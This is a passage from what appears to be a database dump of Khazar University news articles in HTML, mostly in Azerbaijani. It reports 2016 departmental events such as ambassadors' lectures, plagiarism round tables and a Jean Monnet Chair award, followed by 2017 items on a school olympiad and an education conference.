məsələlərdən&nbsp;irəli gələn çağırışları müzakirə etmək məqsədilə keçirilmişdir. Məlumat üçün qeyd etmək lazımdır ki, həmin ensiklika ətraf mühitə qayğı, iqlim dəyişikliyi, bio-müxtəlifliyin itirilməsi, insanın yaşayış keyfiyyətinin aşağı düşməsi, qlobal bərabərsizlik, içməli su çatışmazlığından və digər yeni səbəblərdən yarana biləcək mümkün problem və münaqişələrə görə Papanın&nbsp;dərin narahatlığını ifadə edir. Planetimizin gələcəyinin necə formalaşdırılması üçün yeni dialoqa çağıran həmin ensiklika məktubunda Papa Fransis hazırda yaşanan problemlərdə insan faktorunun hamını narahat etdiyini nəzərə alaraq, beynəlxalq və lokal səviyyələrdə danışıqlara olanehtiyacı vurğulayır, yeni konfliktlərin qabaqlanaraq qarşısının alınması və mümkün səbəblərinin əvvəlcədən aradan qaldırılmasının önəmini, dinlərin elmlə səbrli və açıq dialoqunu irəli sürür.  Müzakirə zamanı, M. Hacızadə aprel ayının ilk günlərində Ermənistan və Azərbaycan silahlı qüvvələrinin təmas xəttində Ermənistanın işğalçı qüvvələri tərəfindən atəşkəsin növbəti dəfə pozulması və təxribatlar törədilməsi, hələlik nəticə verməyən sülh danışıqları, Ermənistandakı tarixi vətənlərindən zorla çıxarılaraq Azərbaycanda məskunlaşmış qaçqın və məcburi köçkünlərin vəziyyəti və&nbsp;güc tətbiqi&nbsp;dilemması barəsində də öz fikirlərini konfrans iştirakçıları ilə bölüşmüşdür.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/923\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/923\"></a>Anti-Plagiat tədbirləri alındı&nbsp;</strong></p><p style=\"text-align:justify\"><strong>11 Aprel 2016&nbsp;</strong></p><p style=\"text-align:justify\">11 aprel 2016-cı il tarixdə&nbsp;bir çox xəbər saytlarında məqalələr Azərbaycan Respublikasının Müəllif Hüquqları Agentliyi və Təhsil Nazirliyi tərəfindən \"Elmi, Akademik və Ədəbi Yazılarda İntihal və bunun qarşısının alınması\" mövzusunda birgə təşkil olunan tədbir haqqında məqalələr dərc edilmişdir. Xəzər Universitetinin Siyasi Elmlər və Beynəlxalq Əlaqələr şöbəsinin müdiri Muxtar Hacızadə müzakirələrdə Xəzəri Universitetini&nbsp;təmsil etdi.</p><p style=\"text-align:justify\"><span style=\"box-sizing:border-box;font-weight:bold\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346\" style=\"box-sizing:border-box;color:#337ab7;text-decoration-line:none\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=51346</a></span></p><p style=\"text-align:justify\"><span style=\"box-sizing:border-box;font-weight:bold\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346\" style=\"box-sizing:border-box;color:#337ab7;text-decoration-line:none\"></a></span><a href=\"http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html\">http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html</a><a href=\"http://virtualaz.org/bugun/67428\"></a><a href=\"http://virtualaz.org/bugun/67428\">http://virtualaz.org/bugun/67428</a><strong></strong></p><p style=\"text-align:justify\"><br></p><p style=\"display:inline !important;text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>Departament rəhbəri Təhsil Televiziyasının qonağı oldu</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>9 Aprel 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"color:#212121;white-space:pre-wrap;background-color:#ffffff\">9 aprel 2016-cı ildə Xəzər Universitetinin Siyasi Elmlər və Beynəlxalq Əlaqələr şöbəsinin rəhbəri Muxtar Hacızadə Təhsil Televiziyasının \"Təməl\" verilişində qonaq oldu və </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Fərhad Əmirbəyov, Təhsil Nazirinin müşaviri ilə birgə </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">akademik bütövlüyün əhəmiyyətini müzakirə etdilər.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span>Veriliş&nbsp;üçün <a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\">bura klikləyin.</a></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\"></a>İngiltərə səfiri Xəzərdə Birlik və Brexit haqqında danışdı&nbsp;</strong></p><p style=\"text-align:justify\"><strong>8 Aprel 2016&nbsp;</strong></p><p style=\"text-align:justify\">8 aprel 2016-cı il tarixdə  Xəzər Universitetinin Siyasi Elm və Beynəlxalq Əlaqələr Departamenti Böyük Britaniyanın Azərbaycandakı səfiri H.E. İrfan Siddiq qonaq etdi. Onun çıxışları əsasən Birləşmiş Millətlər Təşkilatına həsr olunmuşdu və bu beynəlxalq təşkilatın əsas prinsiplərinin müzakirəsi idi. Cənab Siddiq Birləşmiş Millətlər Təşkilatının təsis etdiyi qurumların ümumi təfərrüatlarını təqdim etdi və Birləşmiş Millətlər Təşkilatının Baş Assambleyasının məqsədləri və qərar qəbuletmə funksiyaları barədə ətraflı məlumat verdi. Daha sonra İngilislərin AB-də iştirakı və İngiltərənin Avropa İttifaqına üzvlüyü ilə bağlı keçiriləcək referendum haqqında danışıb. Səfir Böyük Britaniyanın Avropa İttifaqından çıxarılmasına dair əsas proqnozlar və danışıqlar barədə danışdı. Səfərdə olan H.E. İrfan Siddiq Xəzər Universitetinin prezidenti Dr Hasan Niknafsla da görüşdü.</p><p style=\"text-align:justify\">Şəkillər üçün <a href=\"http://www.khazar.org/az/news/article/866\">bura klikləyin.</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/866\"></a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Prezident İlk Milli BMT-nin Modelində seçilmiş Xəzər tələbələri ilə görüşdü</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>8 Aprel 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"color:#212121;white-space:pre-wrap;background-color:#ffffff\">8 Aprel 2016-cı il tarixdə Xəzər Universitetinin prezidenti Həsən Niknafs </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">İlk </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">BMT Model Konfransında (MilliMUN) iştirak edən Xəzər Universitetinin seçilmiş tələbələri ilə görüşdü. BMT modeli  BMT Baş Assambleyası, Təhlükəsizlik Şurası və digər BMT orqanlarının simulyasına təşkil edərək </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">tələbələrə diplomatiya və əməkdaşlığın öyrədilməsini nəzərdə tutur</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">. BMT </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Model</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">də tələbələr  təşkilatın gündəliyində mövcud hadisələrlə bağlı müzakirələr aparırlar, beynəlxalq əməkdaşlıq üzrə qətnamələr hazırlayırlar, tərəfdaşlar və opponentlər ilə danışıqlar aparırlar və münaqişələrin həllini tapırlar. Xəzər Universiteti 2015-ci il sentyabrın 21-də Xəzər MUN klubunu gələcək BMT </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Model </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">tədbirlərində güclü tələbələrin iştirakını təmin etmək üçün yaratmışdır. Klubun prezidenti Pərvin Rəhimli sentyabr ayında İlk BMT M</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">odel</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"> Konfransında iştirak edəcək tələbələri hazırlamaq üçün fəaliyyətinə başladı. BMT Model </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Gənclər və İdman Nazirliyi və BMT-nin İnkişaf Proqramı tərəfindən \"Qlobal Siyasi Müzakirələrdə Gənclərin Fəal iştirakına dəstək yaratmaq\" layihəsi çərçivəsində Azərbaycanda inkişaf etdirilir. Bu proqram çərçivəsində  2016-cı il 20-23 fevralda milli miqyasda Bakıda </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">MilliMUN Konfransı keçirilmişdir.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Plagiat və onun qarşısının alınması yolları mövzusunda dəyirmi masa keçirildi</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>7 aprel 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">7 aprel 2016-cı il tarixdə Hökumət Evində “Elmi, tədris və ədəbi əsərlərin mətnlərində plagiat və onun qarşısının alınması yolları” mövzusunda dəyirmi masa keçirildi. Tədbir Azərbaycan Respublikası Müəllif Hüquqları Agentliyi və Təhsil Nazirliyinin birgə təşkilatçılığı ilə baş tutdu. Dəyirmi masa iştirakçıları plagiatın yaranma səbəbləri, hazırda aparılan müəyyən mübarizə tədbirləri və mövcud vəziyyətdən çıxış yollarını geniş müzakirə etdilər.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Dəyirmi masada iştirak edən Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə keçirilən tədbirin ölkəmiz üçün çox aktual mövzuya toxunan bir ilk olmasının önəmini qeyd etdi. Xəzər Universitetində aparılan müəyyən mübarizə tədbirləri haqqında məlumat verdi, ölkəmizdə akademik dürüstlüyün təmin olunmasının vacibliyini vurğuladı, bunun vicdanlı vətəndaşlardan ibarət bir cəmiyyətin formalaşması üçün gətirəcəyi faydasını qeyd etdi.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Şəkillər üçün </span><a href=\"http://www.khazar.org/az/news/article/859\" style=\"background-color:#ffffff;white-space:pre-wrap\">bura klikləyin.</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/859\" style=\"background-color:#ffffff;white-space:pre-wrap\"></a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Azərbaycanda multikulturalizm mövzusuna həsr olunmuş görüş keçirilmişdir</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>5 aprel 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">5 aprel 2016-cı il tarixdə </span><span style=\"background-color:#ffffff;color:#252525\">Xəzər Universitetinin və Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun təşkilatçılığı ilə Xəzər Universitetində Azərbaycanda multikulturalizm mövzusuna həsr olunmuş görüş keçirildi. Tədbir Azərbaycan Respublikası Prezidentinin 2016-cı ilin Azərbaycanda “Multikulturalizm ili” elan olunması ilə bağlı imzaladığı sərəncama əsasən təsdiq olunmuş tədbirlər planına uyğun olaraq həyata keçirilirdi. Tədbiri giriş sözü ilə Xəzər Universitetinin rektoru Dr. Hassan Niknafs açaraq, mövzunun önəmini qeyd etdi və Bilik Fondu ilə Xəzər Universiteti arasında mövcud olan əməkdaşlıqdan məmnunluq duyduğunu dilə gətirdi.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"></span><span style=\"background-color:#ffffff;color:#252525\">Daha sonra Bilik Fondunun icraçı direktoru Oktay Səmədov çıxış edərək, rəhbərlik etdiyi fond haqqında və fondun Azərbaycan multikulturalizminə dair göstərdiyi fəaliyyətini açıqladı. Daha sonra isə akademik Kamal Abdullayevin elmi redaktorluğu ilə nəşr olunmuş “Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları” adlı kitab AMEA-nın Dilçilik İnstitutunun direktoru, akademiyanın muxbir üzvü Möhsün Nağısoylu tərəfindən iştirakçılara təqdim olundu.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"></span><span style=\"background-color:#ffffff;color:#252525\">Yekunda Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə keçirilən tədbirin regionda baş verən hazırkı gərginlik fonunda önəmini irəli çəkərək, Bilik Fondunun rəhbərliyinə əməkdaşlıq üçün təşəkkür etdi.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Şəkillər üçün </span><a href=\"http://www.khazar.org/az/news/article/885\" style=\"white-space:pre-wrap\">bura klikləyin.</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/885\" style=\"white-space:pre-wrap\"></a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Norveç səfirinin Xəzər Universitetində mühazirəsi oldu</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>1 aprel 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">1 aprel 2016-cı il tarixdə Aprelin 1-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə Norveçin Azərbaycandakı səfiri Bard Ivar Svendsen Norveçin regional inteqrasiya proseslərində iştirakı haqqında mühazirə ilə çıxış etdi. Mühazirədən əvvəl o, Xəzər universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdü.Mühazirəsinin&nbsp; əvvəlində səfir ölkəsinin regiondakı siyasətinə təsir göstərmiş tarixi amillərdən bəhs etdi. Norveç və Avropa İttifaqı (Aİ) haqqında danışarkən, Aİ-yə üzv olmayan Norveçi ittifaqın daxili bazarına məhdudiyyətsiz giriş ilə təmin edən Avropa İqtisadi Sahəsi haqqında Saziş barəsində ətraflı məlumat verdi. O, həmçinin, Norveçin Aİ-yə üzv olmaq istəməməsinin səbəbləri haqqında danışdı, Norveçin regional səviyyədə əməkdaşlıq etdiyi “Nordic-Baltic 8” formatı, Arktik Şura və Barens Əməkdaşlığı haqqında da məlumat verdi.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Şəkillər üçün </span><a href=\"http://www.khazar.org/az/news/article/869\" style=\"background-color:#ffffff;white-space:pre-wrap\">bura klikləyin.</a></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/news/article/869\" style=\"background-color:#ffffff;white-space:pre-wrap\"></a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Azərbaycanlı alim nüfuzlu beynəlxalq&nbsp;mükafata layiq görülüb</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>29 mart 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">29 mart 2016-cı il tarixdə </span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Xəzər Universitetinin siyasi elm və beynəlxalq münasibətlər kafedrasının müdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə elmi-pedaqoji fəaliyyəti və Avropa inteqrasiyası ixtisasının tədrisi üzrə peşəkarlığı sayəsində dünya miqyasında nüfuzlu “Jean Monnet Kürsüsü Sahibi” tituluna layiq görülüb.</span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">  </span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">“Jean Monnet Kürsüsü Sahibi” mükafatı alimlərin avrointeqrasiyaya aid tədris və araşdırmalarını dəstəkləmək məqsədilə qlobal səviyyədə keçirilən beynəlxalq müsabiqə əsasında Avropa Komissiyası tərəfindən üç illik müddətə verilir.M.Hacızadə “Jean Monnet Kürsüsü Sahibi” mükafatını alan ilk və yeganə azərbaycanlıdır. Mükafat Azərbaycan Respublikası Ədliyyə Nazirliyi tərəfindən 2016-cı il martın 18-də dövlət qeydiyyatına alınıb.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><a href=\"http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011\" style=\"background-color:#ffffff;white-space:pre-wrap\">http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011</a><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">&nbsp;</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><a href=\"http://sia.az/az/news/social/535389\">http://sia.az/az/news/social/535389</a></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><a href=\"http://sia.az/az/news/social/535389\"></a></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Magistr tezisləri müdafiə edildi</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>15 Mart 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">15 mart 2016-cı il tarixdə Siyasi Elm və Beynəlxalq Əlaqələr şöbəsinin müəllimi Xəyalə Məmmədova \"Dmitri Medvedevin səlahiyyət müddətində və sonrasında Rusiya-Azərbaycan münasibətləri\" (elmi rəhbər - Dr. Muxtar Hacızadə) və Aygün Qurbanova \"Azərbaycan-Türkmənistan ikitərəfli münasibətləri: yeni tendensiyalar və çağırışlar\" mövzusunda (elmi rəhbər - Rəşad Hüseynov). Komitə sədri Dr. Kənan Allahverdiyev idi.</span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><strong><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">Şərq tərəfdaşlığı üzrə Hollandiya siyasəti haqqında seminar baş tutdu</span></strong></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><strong>15 Mart 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span><span lang=\"az\" style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\">15 mart 2016-cı il tarixdə Xəzər Universitetinin Siyasi Elm və Beynəlxalq Əlaqələr şöbəsi Hollandiya Xarici İşlər Nazirliyinin Avropa və Şərqi Tərəfdaşlıq üzrə xüsusi nümayəndəsi səfir Dirk Jan Kopu qəbul etdi. Cənab Şərq Qonşuluq Siyasəti çərçivəsində Avropa İttifaqı və Azərbaycan arasında əməkdaşlıqdan danışıb. Sual və cavab sessiyasında Amb. Kop, Rusiyanın keçmiş Sovet respublikaları ilə bağlı mövqeyinə, Avrasiya İttifaqının təşviqinə və AB-yə üzv olmayan ölkələrlə AB razılaşmalarının xüsusiyyətlərinə dair sualları cavablandırdı. Məruzə zamanı iştirakçılar həmçinin Aİ ilə Azərbaycan arasında kənd təsərrüfatı sahəsində əməkdaşlıq, eləcə də post-sovet ölkələrində dəyərli məsələlərinin vəziyyəti ilə tanış oldular.</span></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><span lang=\"az\" style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"></span>Fələstinin Azərbaycandakı səfiri Xəzər Universitetində danışır&nbsp;</strong></p><p style=\"text-align:justify\"><strong>\r\n11 Mart 2016&nbsp;</strong></p><p style=\"text-align:justify\">\r\n11 mart 2016-cı il tarixdə&nbsp;Xəzər Universitetinin Siyasi Elm və Beynəlxalq Əlaqələr Departamenti Fələstinin ölkəmizdəki Fövqəladə Səfiri H.E. Nasser Abdul Kareemə Avropa Qonşuluq Siyasəti kontekstində Fələstin-Avropa İttifaqı münasibətləri barədə qonaqlıq məruzəsi ilə çıxışını dinləmək üçün  ev sahibliyi etdi. O, AB-nin Fələstinlilərə göstərdiyi yardım barədə danışdı və Aİ-nin məcburi köçkünlər və dövlət strukturlarını dəstəkləmək üçün Fələstinin ən böyük yardımçısı olduğunu vurğuladı. Digər məsələlərlə yanaşı, o, iştirakçılara Aİ və Fələstin Azadlığı Təşkilatı arasında 1997-ci ildə imzalanan Ticarət və Əməkdaşlıq üzrə Müvəqqəti Əməkdaşlıq Sazişi haqqında məlumatlandırdı, Fələstin sənaye məhsullarını Aİ bazarlarına rüsumsuz girişlə təmin etmək məqsədi ilə olduğunu vurğuladı.</p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;font-size:16px;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;font-size:16px;white-space:pre-wrap\"><strong>ABŞ səfiri Robert Cekuta Xəzər Universitetində olub</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;font-size:16px;white-space:pre-wrap\"><strong></strong></span><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;font-size:16px;white-space:pre-wrap\"><strong>4 Mart 2016</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;white-space:pre-wrap\">4 mart 2016-cı il tarixdə Siyasət Elmi və Beynəlxalq Əlaqələr Departamenti ABŞ-ın Azərbaycandakı səfiri Robert Cekutanı qonaq edib, ABŞ-Azərbaycan əlaqələrini beynəlxalq inteqrasiya prosesləri kontekstində müzakirə edilib. Səfir Cekuta ABŞ-ın təhlükəsizlik, demokratiya və iqtisadiyyat / enerji istiqamətləri daxil olmaqla, ABŞ-Azərbaycan əlaqələrinin ən vacib aspektləri barədə fikirlərini təqdim etdi. O, Azərbaycanın uzunmüddətli sabitliyi və rifahı üçün təhlükəsizliyin, qanunun aliliyinin və demokratiyanın vacibliyini vurğuladı. Səfir Cekuta, ABŞ-Azərbaycan</span><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;white-space:pre-wrap\">.</span><span style=\"background-color:#ffffff;color:#212121;font-family:inherit;white-space:pre-wrap\">əlaqələrində qarşılıqlı maraq, dəyərlər və məqsədlərdən danışdı. Departament sədri Dr. Muxtar Hacızadənin moderatorlıq etdiyi növbəti sual-cavab sessiyasında ABŞ xarici siyasətinin müxtəlif aspektləri və ABŞ-ın Şimali Amerikadakı beynəlxalq inteqrasiya proseslərində iştirakı və regional əməkdaşlıq məsələlərinə dair suallar verildi.</span></p><p style=\"text-align:justify\"><span style=\"font-family:inherit;background-color:#ffffff;color:#212121;font-size:16px;white-space:pre-wrap\"><br></span></p><p style=\"text-align:justify\"><span style=\"font-family:inherit;background-color:#ffffff;color:#212121;font-size:16px;white-space:pre-wrap\"><br></span></p><div style=\"text-align:justify\"><div><span style=\"background-color:#ffffff;color:#212121;white-space:pre-wrap\"><a href=\"http://www.khazar.org/az/news/article/885\"></a> <br><p><br></p>   </span></div><br> <br><div><div><a href=\"http://www.khazar.org/uploads/articles/o_1avt49n117c91e58i18fvsp30f.JPG\"></a></div></div>  <br>    </div>  <br><div style=\"text-align:justify\"><span style=\"color:#212121;font-family:arial, sans-serif;text-align:left;white-space:pre-wrap;background-color:#ffffff\"><br></span></div><p style=\"text-align:justify\"><br>  <br></p>'),(3147,1858,'az','Olimpiadanın qalibləri mükafatlandırıldı','2017-ci il yanvarın 27-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində Bakı şəhəri üzrə VI, VII, VIII sinif şagirdləri arasında keçirilmiş “Təhsil ağılın simasıdır” ...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il yanvarın 27-də Xəzər Universitetinin nəzdində fəaliyyət\r\ngöstərən “Dünya” məktəbində Bakı şəhəri üzrə VI, VII, VIII sinif şagirdləri\r\narasında keçirilmiş “Təhsil ağılın simasıdır” adlı riyaziyyat fənn\r\nolimpiadasının qaliblərinin mükafatlandırılma tədbiri təşkil olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, Respublika Təhsil Şurasının sədri\r\nprofessor Əjdər Ağayev, Bakı şəhər Gənclər və İdman Baş İdarəsinin baş məsləhətçisi,\r\npaytaxtın şahmat idman növü üzrə kurator-koordinatoru Salman Əbdülov, Binəqədi\r\nRayon İcra Hakimiyyəti başçısı aparatının baş məsləhətçisi Elnur Məmmədov,\r\npaytaxtın müxtəlif məktəblərinin direktorları, müəllimlər, valideynlər, şagirdlər\r\niştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə çıxış edən professor Hamlet İsaxanlı müasir dövrdə elmin çox\r\nsürətlə inkişaf etdiyini qeyd edərək, belə olimpiadaların keçirilməsinin&nbsp; istedadlı şagirdlərin üzə çıxarılmasında və\r\nonların inkişafı üçün şərait yaradılmasında mühüm rolu olduğunu bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha sonra çıxış edən Əjdər Ağayev və Salman Əbdülov iştirakçıları\r\nsalamlayaraq, qalibləri təbrik etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə olimpiada qaliblərinin mükafatlarını “Dünya” məktəbinin məzunları\r\ntəqdim etdilər.&nbsp;&nbsp;</p>'),(3148,1859,'en','Hamlet Isaxanli Speaks about Quality of Education ','On January 30, 2017, a conference entitled “The Role of Education in Socio-Economic Development” was held at Azerbaijan State University of Economics. Professor Hamlet Isaxanli...','<p>On\r\nJanuary 30, 2017, a conference entitled “The Role of Education in\r\nSocio-Economic Development” was held at Azerbaijan State University of\r\nEconomics. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, was one of the speakers at the event. The talk entitled\r\n“Participants and Shareholders in Quality of Education” was followed by\r\nextensive discussions. </p>\r\n<p>Dr. Ingilab Ahmadov, Dean of the School of\r\nEconomics and Management, also represented Khazar University at the conference</p>'),(3149,1859,'az','Professor Hamlet İsaxanlı təhsilin keyfiyyətindən danışdı','2017-ci il yanvarın 30-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Dövlət İqtisad Universitetində keçirilən...','<p>2017-ci il yanvarın 30-da Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan\r\nDövlət İqtisad Universitetində keçirilən “Təhsilin sosial-iqtisadi inkişafda\r\nrolu” adlı beynəlxaıq konfransda “Təhsilin keyfiyyətli olmasında iştirak edən və\r\nmarağı olan tərəflər” adlı məruzə ilə çıxış etdi. Məruzə ətrafında geniş\r\nmüzakirə keçirildi. </p>\r\n<p>Konfransda 